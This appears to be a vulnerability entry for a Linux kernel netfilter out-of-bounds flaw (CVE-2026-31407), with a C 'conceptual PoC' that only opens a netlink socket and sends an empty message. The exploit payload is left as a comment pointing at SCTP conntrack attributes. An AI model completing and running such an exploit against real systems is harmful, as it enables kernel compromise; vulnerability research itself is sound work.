CVE-2026-31407 Linux内核netfilter越界访问漏洞

/* * Conceptual PoC for CVE-2026-31407 * Triggering out-of-bounds read in netfilter conntrack */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #define NETLINK_NETFILTER 12 int main() { int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (fd < 0) { perror("socket"); return 1; } struct sockaddr_nl src_addr, dest_addr; memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; // Kernel bind(fd, (struct sockaddr*)&src_addr, sizeof(src_addr)); // Buffer for netlink message char buffer[4096]; struct nlmsghdr *nlh = (struct nlmsghdr *)buffer; memset(buffer, 0, 4096); nlh->nlmsg_len = NLMSG_LENGTH(0); // Placeholder nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = 0; // Malicious payload construction would go here. // Specifically crafting CTA_PROTOINFO_SCTP_STATE or related attributes // to bypass validation and trigger the OOB access described in the CVE. // Sending the message sendto(fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr*)&dest_addr, sizeof(dest_addr)); close(fd); return 0; }